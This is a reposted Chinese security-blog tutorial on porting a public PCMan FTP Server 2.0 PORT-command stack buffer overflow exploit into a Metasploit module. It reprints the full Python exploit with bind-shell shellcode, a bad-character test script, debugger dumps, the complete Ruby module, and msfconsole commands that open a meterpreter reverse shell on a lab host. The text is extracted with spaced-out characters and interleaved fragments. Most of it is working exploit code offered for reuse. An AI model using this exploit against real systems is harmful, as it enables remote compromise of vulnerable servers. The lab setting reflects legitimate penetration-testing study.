搜索

[14153] 2019-05-26_关于Metasploit5中测试模块的移植与验证

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-05-26_关于Metasploit5中测试模块的移植与验证 关 于 M e t a s p l o i t   5 中 测 试 模 块 的 移 植 与 验 证 N e r o q i   F r e e B u f   2 0 1 9 - 0 5 - 2 6 * 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 严 正 声 明 ： 本 文 仅 限 于 技 术 讨 论 与 分 享 ， 严 禁 用 于 非 法 途 径 。 前 言 前 言 如 果 针 对 某 一 程 序 或 软 件 已 经 有 了 相 应 的 渗 透 模 块 ， 此 时 再 去 写 一 个 实 现 类 似 功 能 的 模 块 就 显 得 多 此 一 举 。 然 而 ， 并 非 所 有 的 渗 透 模 块 都 是 基 于 如 果 针 对 某 一 程 序 或 软 件 已 经 有 了 相 应 的 渗 透 模 块 ， 此 时 再 去 写 一 个 实 现 类 似 功 能 的 模 块 就 显 得 多 此 一 举 。 然 而 ， 并 非 所 有 的 渗 透 模 块 都 是 基 于 M e t a s p l o i t 框 架 开 发 的 ， 其 中 有 很 多 是 用 框 架 开 发 的 ， 其 中 有 很 多 是 用 P e r l 、 、 P y t h o n 或 者 或 者 C / C + + 语 言 编 写 的 ， 所 以 导 致 了 这 些 模 块 不 能 直 接 在 语 言 编 写 的 ， 所 以 导 致 了 这 些 模 块 不 能 直 接 在 M e t a s p l o i t 中 使 用 。 此 时 需 要 将 中 使 用 。 此 时 需 要 将 现 有 的 渗 透 模 块 移 植 成 为 与 现 有 的 渗 透 模 块 移 植 成 为 与 M e t a s p l o i t 框 架 相 兼 容 的 模 块 ， 移 植 成 功 之 后 ， 不 仅 能 够 实 现 原 有 模 块 的 功 能 ， 还 可 以 利 用 框 架 相 兼 容 的 模 块 ， 移 植 成 功 之 后 ， 不 仅 能 够 实 现 原 有 模 块 的 功 能 ， 还 可 以 利 用 M e t a s p l o i t 框 架 提 供 的 各 框 架 提 供 的 各 种 丰 富 而 又 强 大 的 工 具 来 处 理 例 行 任 务 ， 同 时 可 以 动 态 切 换 攻 击 载 荷 ， 使 渗 透 模 块 适 用 于 更 多 的 场 景 。 种 丰 富 而 又 强 大 的 工 具 来 处 理 例 行 任 务 ， 同 时 可 以 动 态 切 换 攻 击 载 荷 ， 使 渗 透 模 块 适 用 于 更 多 的 场 景 。 实 验 环 境 实 验 环 境 涉 及 工 具 涉 及 工 具 渗 透 模 块 的 分 析 渗 透 模 块 的 分 析 本 文 以 P C M a n ’ s   F T P   S e r v e r 软 件 为 例 ， 详 细 描 述 渗 透 模 块 的 移 植 和 测 试 过 程 。 这 款 软 件 是 由 我 国 台 湾 省 的 国 立 阳 明 大 学 开 发 的 ， 也 是 我 个 人 比 较 喜 欢 的 一 款 小 巧 、 轻 便 、 易 用 的 F T P 软 件 ， 可 在 五 分 钟 之 内 迅 速 搭 建 一 台 F T P 服 务 器 。 存 在 现 成 的 渗 透 模 块 针 对 P C M a n ’ s   F T P   S e r v e r 的 缓 冲 区 溢 出 漏 洞 。 1 . 渗 透 模 块 的 详 细 代 码 如 下 ： 1 . 渗 透 主 机 ： K a l i - L i n u x - 2 0 1 9 . 1 - v m - a m d 6 4 2 . 目 标 主 机 ： W i n d o w s   X P   S P 3   S i m p l i f i e d   C h i n e s e 3 . 软 件 版 本 ： P C M a n ’ s   F T P   S e r v e r   2 . 0 1 .   p y t h o n - 2 . 7 . 1 5 2 .   I m m u n i t y D e b u g g e r 1 . 8 5 # ! / u s r / b i n / e n v   p y t h o n # - * -   c o d i n g :   u t f - 8   - * - #   E x p l o i t   T i t l e :   P C M a n   F T P   S e r v e r   2 . 0   P O R T   C o m m a n d   B o F   E x p l o i t #   A u t h o r :   P a b l o   G o n z á l e z #   D a t e :   4 / 1 1 / 2 0 1 6 #   S o f t w a r e :   P C M a n   2 . 0 #   T e s t e d   o n :   W i n d o w s   X P   P r o f e s i o n a l   S P 3   S p a n i s h   x 8 6 i m p o r t   s o c k e t p r i n t   " C r e a t i n g   m a l i c i o u s   i n p u t ! " j u n k   =   ' x 4 1 ' * 2 0 0 7 r e t = " x f 7 x 5 6 x 3 c x 7 e "         # U s e r 3 2 . d l l   7 E 3 C 5 6 F 7 n o p s   =   ' x 9 0 ' * 2 0 # m s f v e n o m   - p   w i n d o w s / s h e l l _ b i n d _ t c p   L P O R T = 1 1 4 4   - b   ' x 0 a x 0 0 x 0 d '   - f   c # p u t   s h e l l c o d e   i n   v a r i a b l e   ' s c ' s c = ( " x d b x d 6 x b a x d 3 x 9 5 x 1 b x d 0 x d 9 x 7 4 x 2 4 x f 4 x 5 8 x 2 b x c 9 x b 1 " " x 5 3 x 3 1 x 5 0 x 1 7 x 8 3 x e 8 x f c x 0 3 x 8 3 x 8 6 x f 9 x 2 5 x d f x 4 1 x 7 f " " x c 5 x 1 f x 9 2 x e 0 x 4 f x f a x a 3 x 2 0 x 2 b x 8 f x 9 4 x 9 0 x 3 f x d d x 1 8 " " x 5 a x 6 d x f 5 x a b x 2 e x b a x f a x 1 c x 8 4 x 9 c x 3 5 x 9 c x b 5 x d d x 5 4 " " x 1 e x c 4 x 3 1 x b 6 x 1 f x 0 7 x 4 4 x b 7 x 5 8 x 7 a x a 5 x e 5 x 3 1 x f 0 x 1 8 " " x 1 9 x 3 5 x 4 c x a 1 x 9 2 x 0 5 x 4 0 x a 1 x 4 7 x d d x 6 3 x 8 0 x d 6 x 5 5 x 3 a " " x 0 2 x d 9 x b a x 3 6 x 0 b x c 1 x d f x 7 3 x c 5 x 7 a x 2 b x 0 f x d 4 x a a x 6 5 " " x f 0 x 7 b x 9 3 x 4 9 x 0 3 x 8 5 x d 4 x 6 e x f c x f 0 x 2 c x 8 d x 8 1 x 0 2 x e b " " x e f x 5 d x 8 6 x e f x 4 8 x 1 5 x 3 0 x c b x 6 9 x f a x a 7 x 9 8 x 6 6 x b 7 x a c " " x c 6 x 6 a x 4 6 x 6 0 x 7 d x 9 6 x c 3 x 8 7 x 5 1 x 1 e x 9 7 x a 3 x 7 5 x 7 a x 4 3 " " x c d x 2 c x 2 6 x 2 2 x f 2 x 2 e x 8 9 x 9 b x 5 6 x 2 5 x 2 4 x c f x e a x 6 4 x 2 1 " " x 3 c x c 7 x 9 6 x b 1 x 2 a x 5 0 x e 5 x 8 3 x f 5 x c a x 6 1 x a 8 x 7 e x d 5 x 7 6 " " x c f x 5 4 x a 1 x e 8 x 2 e x 5 7 x d 2 x 2 1 x f 5 x 0 3 x 8 2 x 5 9 x d c x 2 b x 4 9 " " x 9 9 x e 1 x f 9 x e 4 x 9 1 x 4 4 x 5 2 x 1 b x 5 c x 3 6 x 0 2 x 9 b x c e x d f x 4 8 "
2 . 关 键 信 息 收 集 3 . 确 定 偏 移 量 O f f s e t 的 方 法 和 步 骤 ， 若 不 清 楚 ， 可 以 参 照 《 关 于 C V E - 2 0 1 9 - 9 7 6 6 缓 冲 区 溢 出 漏 洞 的 渗 透 模 块 编 写 与 测 试 》 一 文 ， 这 里 不 再 详 述 。 4 . 现 有 模 块 的 J M P   E S P 指 令 使 用 U s e r 3 2 . d l l 对 应 的 地 址 7 E 3 C 5 6 F 7 ， 但 该 模 块 是 基 于 W i n d o w s   X P   P r o f e s i o n a l   S P 3   S p a n i s h   x 8 6 编 写 的 ， 在 这 里 西 班 牙 语 的 X P 显 然 是 不 适 用 的 。 于 是 在 I m m u n i t y D e b u g g e r 中 使 用 命 令 ! m o n a   j m p   - r   e s p 查 询 合 适 的 跳 转 指 令 ， m o n a 查 询 的 结 果 保 存 在 文 件 j m p . t x t 中 ， 这 里 我 们 选 择 其 对 应 的 地 址 为 0 x 7 7 d 2 9 3 5 3 ， 查 询 结 果 如 下 图 所 示 ： 5 . 关 于 s h e l l c o d e 中 的 坏 字 符 ， 可 以 在 I m m u n i t y D e b u g g e r 中 使 用 m o n a 插 件 辅 助 确 定 。 这 里 我 们 使 用 一 种 原 理 性 的 方 法 来 找 出 坏 字 符 ， 虽 然 过 程 有 点 繁 琐 ， 但 是 准 确 性 较 高 。 测 试 代 码 如 下 所 示 （ 其 中 变 量 s h e l l c o d e 赋 值 为 所 有 可 能 出 现 的 字 符 ） ： " x 9 9 x e 1 x f 9 x e 4 x 9 1 x 4 4 x 5 2 x 1 b x 5 c x 3 6 x 0 2 x 9 b x c e x d f x 4 8 " " x 1 4 x 3 1 x f f x 7 2 x f e x 5 a x 6 8 x 8 f x 0 1 x 6 0 x 1 1 x 0 6 x e 7 x 0 2 x f 1 " " x 4 e x b f x b a x 3 3 x b 5 x 0 8 x 5 d x 4 b x 9 f x 2 0 x c 9 x 0 4 x c 9 x f 7 x f 6 " " x 9 4 x d f x 5 f x 6 0 x 1 f x 0 c x 6 4 x 9 1 x 2 0 x 1 9 x c c x c 6 x b 7 x d 7 x 9 d " " x a 5 x 2 6 x e 7 x b 7 x 5 d x c a x 7 a x 5 c x 9 d x 8 5 x 6 6 x c b x c a x c 2 x 5 9 " " x 0 2 x 9 e x f e x c 0 x b c x b c x 0 2 x 9 4 x 8 7 x 0 4 x d 9 x 6 5 x 0 9 x 8 5 x a c " " x d 2 x 2 d x 9 5 x 6 8 x d a x 6 9 x c 1 x 2 4 x 8 d x 2 7 x b f x 8 2 x 6 7 x 8 6 x 6 9 " " x 5 d x d b x 4 0 x f d x 1 8 x 1 7 x 5 3 x 7 b x 2 5 x 7 2 x 2 5 x 6 3 x 9 4 x 2 b x 7 0 " " x 9 c x 1 9 x b c x 7 4 x e 5 x 4 7 x 5 c x 7 a x 3 c x c c x 6 c x 3 1 x 1 c x 6 5 x e 5 " " x 9 c x f 5 x 3 7 x 6 8 x 1 f x 2 0 x 7 b x 9 5 x 9 c x c 0 x 0 4 x 6 2 x b c x a 1 x 0 1 " " x 2 e x 7 a x 5 a x 7 8 x 3 f x e f x 5 c x 2 f x 4 0 x 3 a " ) b u f f e r =   j u n k   +   r e t   +   n o p s   +   s c s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) i p   =   r a w _ i n p u t ( ' G i v e   m e   R e m o t e   I P   A d d r e s s : ' ) c o n n e c t = s . c o n n e c t ( ( i p , 2 1 ) ) b a n n e r   =   s . r e c v ( 1 0 2 4 ) p r i n t   b a n n e r s . s e n d ( ' U S E R   a n o n y m o u s r n ' ) s . r e c v ( 1 0 2 4 ) s . s e n d ( ' P A S S r n ' ) s . r e c v ( 1 0 2 4 ) # S e n d i n g   i n p u t   P O R T   c o m m a n d   ( E x p l o i t a t i o n   i s   c o m i n g ) s . s e n d ( ' P O R T '   +   b u f f e r   +   ' r n ' ) s . c l o s e ( ) C : W I N D O W S s y s t e m 3 2 U S E R 3 2 . d l l #   E x p l o i t   T i t l e :   P C M a n   F T P   S e r v e r   2 . 0   P O R T   C o m m a n d   E x p l o i t #   A u t h o r :   N e r o q i #   D a t e :   5 / 1 4 / 2 0 1 9 #   S o f t w a r e :   P C M a n   2 . 0 #   T e s t e d   o n :   W i n d o w s   X P   P r o f e s i o n a l   S P 3   S i m p l i f i e d   C h i n e s e i m p o r t   s o c k e t j u n k   =   ' x 4 1 ' * 2 0 0 7 r e t = ' x 4 2 ' * 4         # U S E R 3 2 . d l l   0 x 7 7 d 2 9 3 5 3 n o p s   =   ' x 9 0 ' * 2 0
5 . 1   在 K a l i   L i n u x 中 运 行 上 述 代 码 ， 输 入 P C M a n ’ s   F T P   S e r v e r 的 I P 地 址 ， 将 所 有 可 能 的 字 符 发 送 给 P C M a n ’ s   F T P ， 然 后 I m m u n i t y D e b u g g e r 中 的 显 示 如 下 （ 内 容 太 多 ， 此 处 节 选 一 部 分 ） ： 在 上 述 结 果 中 并 没 有 看 到 s h e l l c o d e 的 内 容 ， 2 0 个 空 指 令 ’ x 9 0 ’ 之 后 的 x 0 D x 0 A 代 表 的 是   ‘ r n ’ （ “ < 回 车 > < 换 行 > ” ） ， 并 不 是 s h e l l c o d e 中 的 部 分 字 符 ， 因 此 可 以 判 定 ’ x 0 0 ’ 为 坏 字 符 。 5 . 2   将 s h e l l c o d e 中 的 ’ x 0 0 ’ 去 掉 ， 重 复 5 . 1 中 的 操 作 ， 然 后 I m m u n i t y D e b u g g e r 中 的 显 示 如 下 ： s h e l l c o d e   =   (         " x 0 0 x 0 1 x 0 2 x 0 3 x 0 4 x 0 5 x 0 6 x 0 7 x 0 8 x 0 9 x 0 a x 0 b x 0 c x 0 d x 0 e x 0 f "         " x 1 0 x 1 1 x 1 2 x 1 3 x 1 4 x 1 5 x 1 6 x 1 7 x 1 8 x 1 9 x 1 a x 1 b x 1 c x 1 d x 1 e x 1 f "         " x 2 0 x 2 1 x 2 2 x 2 3 x 2 4 x 2 5 x 2 6 x 2 7 x 2 8 x 2 9 x 2 a x 2 b x 2 c x 2 d x 2 e x 2 f "         " x 3 0 x 3 1 x 3 2 x 3 3 x 3 4 x 3 5 x 3 6 x 3 7 x 3 8 x 3 9 x 3 a x 3 b x 3 c x 3 d x 3 e x 3 f "         " x 4 0 x 4 1 x 4 2 x 4 3 x 4 4 x 4 5 x 4 6 x 4 7 x 4 8 x 4 9 x 4 a x 4 b x 4 c x 4 d x 4 e x 4 f "         " x 5 0 x 5 1 x 5 2 x 5 3 x 5 4 x 5 5 x 5 6 x 5 7 x 5 8 x 5 9 x 5 a x 5 b x 5 c x 5 d x 5 e x 5 f "         " x 6 0 x 6 1 x 6 2 x 6 3 x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 6 a x 6 b x 6 c x 6 d x 6 e x 6 f "         " x 7 0 x 7 1 x 7 2 x 7 3 x 7 4 x 7 5 x 7 6 x 7 7 x 7 8 x 7 9 x 7 a x 7 b x 7 c x 7 d x 7 e x 7 f "         " x 8 0 x 8 1 x 8 2 x 8 3 x 8 4 x 8 5 x 8 6 x 8 7 x 8 8 x 8 9 x 8 a x 8 b x 8 c x 8 d x 8 e x 8 f "         " x 9 0 x 9 1 x 9 2 x 9 3 x 9 4 x 9 5 x 9 6 x 9 7 x 9 8 x 9 9 x 9 a x 9 b x 9 c x 9 d x 9 e x 9 f "         " x a 0 x a 1 x a 2 x a 3 x a 4 x a 5 x a 6 x a 7 x a 8 x a 9 x a a x a b x a c x a d x a e x a f "         " x b 0 x b 1 x b 2 x b 3 x b 4 x b 5 x b 6 x b 7 x b 8 x b 9 x b a x b b x b c x b d x b e x b f "         " x c 0 x c 1 x c 2 x c 3 x c 4 x c 5 x c 6 x c 7 x c 8 x c 9 x c a x c b x c c x c d x c e x c f "         " x d 0 x d 1 x d 2 x d 3 x d 4 x d 5 x d 6 x d 7 x d 8 x d 9 x d a x d b x d c x d d x d e x d f "         " x e 0 x e 1 x e 2 x e 3 x e 4 x e 5 x e 6 x e 7 x e 8 x e 9 x e a x e b x e c x e d x e e x e f "         " x f 0 x f 1 x f 2 x f 3 x f 4 x f 5 x f 6 x f 7 x f 8 x f 9 x f a x f b x f c x f d x f e x f f " ) b u f f e r =   j u n k   +   r e t   +   n o p s   +   s h e l l c o d e s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) i p   =   r a w _ i n p u t ( ' I n p u t   F T P   S e r v e r   I P   A d d r e s s : ' ) c o n n e c t   =   s . c o n n e c t ( ( i p , 2 1 ) ) s . r e c v ( 1 0 2 4 ) s . s e n d ( ' U S E R   a n o n y m o u s r n ' ) s . r e c v ( 1 0 2 4 ) s . s e n d ( ' P A S S r n ' ) s . r e c v ( 1 0 2 4 ) # S e n d i n g   i n p u t   P O R T   c o m m a n d   ( E x p l o i t a t i o n   i s   c o m i n g ) s . s e n d ( ' P O R T '   +   b u f f e r   +   ' r n ' ) s . c l o s e ( ) 0 0 1 2 C 7 D 4       4 1 4 1 4 1 4 1     A A A A 0 0 1 2 C 7 D 8       4 2 4 2 4 2 4 2     B B B B 0 0 1 2 C 7 D C       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E 0       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E 4       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E 8       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E C       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 F 0       0 0 0 0 0 A 0 D     . . . . 0 0 1 2 C 7 F 4       0 0 0 0 0 0 0 A     . . . . 0 0 1 2 C 7 F 8       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 7 F C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 4       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 8       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 4       0 0 0 0 0 0 6 6     f . . . 0 0 1 2 C 8 1 8       7 7 E F 6 B F 2     騥 飛         G D I 3 2 . 7 7 E F 6 B F 2 0 0 1 2 C 7 D 4       4 1 4 1 4 1 4 1     A A A A 0 0 1 2 C 7 D 8       4 2 4 2 4 2 4 2     B B B B 0 0 1 2 C 7 D C       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E 0       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E 4       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E 8       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 E C       9 0 9 0 9 0 9 0     悙 悙 0 0 1 2 C 7 F 0       0 4 0 3 0 2 0 1    
从 上 述 结 果 可 以 看 到 s h e l l c o d e 在 ’ x 0 9 ’ 之 后 的 内 容 全 部 丢 失 ， 因 此 可 以 判 定 ’ x 0 a ’ 为 坏 字 符 。 重 复 步 骤 5 . 1 和 5 . 2 ， 最 终 确 定 全 部 坏 字 符 为 ’ x 0 0 x 0 a x 0 d ’ 。 渗 透 模 块 的 移 植 渗 透 模 块 的 移 植 分 析 完 成 现 有 的 渗 透 模 块 之 后 ， 下 面 我 们 进 行 渗 透 模 块 的 移 植 。 1 .   移 植 后 的 渗 透 模 块 p c m a n _ p o r t . r b 的 第 一 部 分 如 下 ： 0 0 1 2 C 7 F 0       0 4 0 3 0 2 0 1     0 0 1 2 C 7 F 4       0 8 0 7 0 6 0 5     0 0 1 2 C 7 F 8       0 0 0 A 0 D 0 9     . . . . 0 0 1 2 C 7 F C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 4       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 0 8       0 0 0 0 0 0 0 2     . . . 0 0 1 2 C 8 0 C       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 0       0 0 0 0 0 0 0 0     . . . . 0 0 1 2 C 8 1 4       0 0 0 0 0 0 A C     ? . . 0 0 1 2 C 8 1 8       7 7 E F 6 B F 2     騥 飛         G D I 3 2 . 7 7 E F 6 B F 2 2 . 4 r e q u i r e   ' m s f / c o r e ' c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : E x p l o i t : : R e m o t e     R a n k   =   N o r m a l R a n k i n g     i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : F t p     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r ( u p d a t e _ i n f o ( i n f o ,             ' N a m e '                       = >   " P C M a n ' s   F T P   S e r v e r   P O R T   C o m m a n d   S t a c k   B u f f e r   O v e r f l o w " ,             ' D e s c r i p t i o n '         = >   " T h i s   m o d u l e   e x p l o i t s   a   b u f f e r   o v e r f l o w   v u l n e r a b i l i t y   f o u n d   i n   t h e   P O R T   c o m m a n d   o f   t h e   P C M a n ' s   F T P   S e r v e r   v 2 . 0 " ,             ' A u t h o r '                   = >   ' N e r o q i ' ,             ' L i c e n s e '                 = >   M S F _ L I C E N S E ,             ' R e f e r e n c e s '           = >                       [                             [ ' E D B ' ,   ' 4 0 7 1 4 ' ]                     ] ,             ' D e f a u l t O p t i o n s '   = >                 {                     ' E X I T F U N C '   = >   ' p r o c e s s ' ,                     ' V E R B O S E '     = >   t r u e                 } ,             ' P a y l o a d '                 = >                 {                     ' S p a c e '       = >   1 0 0 0 ,                     ' B a d C h a r s '     = >   " x 0 0 x 0 a x 0 d " ,                 } ,             ' P l a t f o r m '               = >   ' w i n ' ,             ' T a r g e t s '                 = >                 [                     [   ' W i n d o w s   X P   P r o f e s i o n a l   S P 3   S i m p l i f i e d   C h i n e s e ' ,                         {                             ' R e t '   = >   0 x 7 7 d 2 9 3 5 3 ,   #   C : W I N D O W S s y s t e m 3 2 U S E R 3 2 . d l l                             ' O f f s e t '   = >   2 0 0 7                         }                     ] ,                 ] ,             ' D i s c l o s u r e D a t e '   = >   ' M a y   1 4   2 0 1 9 ' ,             ' D e f a u l t T a r g e t '     = >   0 ) )             r e g i s t e r _ o p t i o n s (                 [                     O p t : : R P O R T ( 2 1 ) ,                     O p t S t r i n g . n e w ( ' F T P U S E R ' , [   t r u e ,   ' F T P   U s e r ' ,   ' a n o n y m o u s ' ] ) ,                     O p t S t r i n g . n e w ( ' F T P P A S S ' , [   t r u e ,   ' F T P   P a s s w o r d ' ,   ' a n o n y m o u s ' ] )                 ] ,   s e l f . c l a s s )     e n d
1 . 1   语 句 r e q u i r e   ‘ m s f / c o r e ’ 引 入 了 M e t a s p l o i t 中 c o r e 库 的 所 有 内 容 ； 语 句 i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : F t p 引 入 了 f t p .   r b 库 文 件 ， 用 于 后 续 的 F T P 相 关 操 作 。 1 . 2   方 法 i n i t i a l i z e 定 义 了 模 块 的 相 关 信 息 及 参 数 ， 包 括 N a m e 、 D e s c r i p t i o n 、 A u t h o r 以 及 D e f a u l t O p t i o n s 等 等 ， 其 中 坏 字 符 在 P a y l o a d 中 设 置 ， O f f s e t 和 J M P E S P 指 令 在 T a r g e t s 中 设 置 。 1 . 3   r e g i s t e r _ o p t i o n s 使 用 O p t : : R P O R T 函 数 定 义 了 目 标 端 口 ， 使 用 O p t S t r i n g . n e w 函 数 为 F T P 的 登 录 提 供 了 用 户 名 和 密 码 。 2 .   移 植 后 的 渗 透 模 块 p c m a n _ p o r t . r b 的 第 二 部 分 如 下 ： 2 . 1   r a n d _ t e x t _ a l p h a ( ) 函 数 用 于 生 成 2 0 0 7 个 （ 该 值 是 由 T a r g e t s 中 的 变 量 O f f s e t 决 定 的 ） 填 充 数 据 ， 用 于 替 代 原 渗 透 模 块 中 的 ’ x 4 1 ’ * 2 0 0 7 ， 然 后 将 填 充 数 据 保 存 到 变 量 s p l o i t 中 。 2 . 2   [ t a r g e t . r e t ] . p a c k ( ‘ V ’ ) 函 数 将 T a r g e t s 中 R e t 的 值 （ J M P   E S P 的 指 令 ） 以 小 端 格 式 保 存 到 s p l o i t 变 量 中 ， 无 需 像 原 渗 透 模 块 那 样 使 用 大 端 格 式 保 存 。 2 . 3   m a k e _ n o p s ( 2 0 ) 函 数 用 于 产 生 2 0 个 空 指 令 。 2 . 4   p a y l o a d . e n c o d e d 函 数 用 于 对 指 定 的 攻 击 载 荷 进 行 编 码 。 2 . 5   然 后 使 用 f t p 库 中 的 s e n d _ c m d ( ) 函 数 将 包 含 了 变 量 s p l o i t 的 P O R T 命 令 发 送 到 目 标 。 3 .   移 植 后 的 渗 透 模 块 p c m a n _ p o r t . r b 具 有 的 优 势 ： 3 . 1   r a n d _ t e x t _ a l p h a ( ) 函 数 实 现 自 动 生 成 填 充 数 据 ， 无 须 手 动 生 成 。 3 . 2   J M P   E S P 的 指 令 无 须 进 行 大 小 端 格 式 转 换 ， 该 工 作 由 函 数 [ t a r g e t . r e t ] . p a c k ( ‘ V ’ ) 实 现 。 3 . 3   m a k e _ n o p s ( ) 函 数 自 动 生 成 空 指 令 ， 无 须 手 动 生 成 。 3 . 4   s h e l l c o d e 可 动 态 切 换 ， 无 须 提 供 任 何 预 先 硬 编 码 的 s h e l l c o d e ， 在 需 要 改 变 s h e l l c o d e 时 ， 就 无 须 手 动 重 新 编 码 ， 从 而 节 约 了 大 量 时 间 。 渗 透 模 块 的 测 试 渗 透 模 块 的 测 试 1 .   将 移 植 后 的 渗 透 模 块 p c m a n _ p o r t . r b 拷 贝 到 如 下 路 径 ： 然 后 在 m s f c o n s o l e 中 通 过 命 令 r e l o a d _ a l l 来 重 新 载 入 所 有 的 模 块 ， 确 保 模 块 编 写 无 误 。 2 .   在 M e t a s p l o i t 中 使 用 如 下 命 令 测 试 渗 透 模 块 p c m a n _ p o r t . r b 是 否 正 常 工 作 ， 命 令 如 下 ： 如 下 图 所 示 ， 可 以 看 到 成 功 取 得 了 与 目 标 主 机 的 m e t e r p r e t e r 会 话 ， 说 明 模 块 移 植 成 功 ：     e n d     d e f   e x p l o i t           c   =   c o n n e c t _ l o g i n         r e t u r n   u n l e s s   c         s p l o i t   =   r a n d _ t e x t _ a l p h a ( t a r g e t [ ' O f f s e t ' ] )         s p l o i t   < <   [ t a r g e t . r e t ] . p a c k ( ' V ' )         s p l o i t   < <   m a k e _ n o p s ( 2 0 )         s p l o i t   < <   p a y l o a d . e n c o d e d           s e n d _ c m d (   [ " P O R T "   +   s p l o i t ,   f a l s e ]   )         d i s c o n n e c t       e n d / u s r / s h a r e / m e t a s p l o i t - f r a m e w o r k / m o d u l e s / e x p l o i t s / w i n d o w s / f t p m s f 5   >   u s e   e x p l o i t / w i n d o w s / f t p / p c m a n _ p o r t m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   R H O S T S   1 9 2 . 1 6 8 . 1 8 8 . 1 3 7 R H O S T S   = >   1 9 2 . 1 6 8 . 1 8 8 . 1 3 7 m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p p a y l o a d   = >   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   L H O S T   1 9 2 . 1 6 8 . 1 8 8 . 1 3 6 L H O S T   = >   1 9 2 . 1 6 8 . 1 8 8 . 1 3 6 m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   s e t   L P O R T   8 8 8 8 L P O R T   = >   8 8 8 8 m s f 5   e x p l o i t ( w i n d o w s / f t p / p c m a n _ p o r t )   >   e x p l o i t
结 束 语 结 束 语 以 上 这 些 ， 就 是 关 于 如 何 将 渗 透 模 块 移 植 到 M e t a s p l o i t 框 架 中 并 且 进 行 测 试 的 过 程 。 由 于 M e t a s p l o i t 的 强 大 功 能 以 及 丰 富 的 工 具 库 ， 因 此 建 议 大 家 在 遇 到 较 新 较 好 的 渗 透 模 块 时 ， 及 时 地 将 其 移 植 到 M e t a s p l o i t 框 架 中 ， 以 备 后 用 。 * 本 文 作 者 ： 本 文 作 者 ： N e r o q i ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理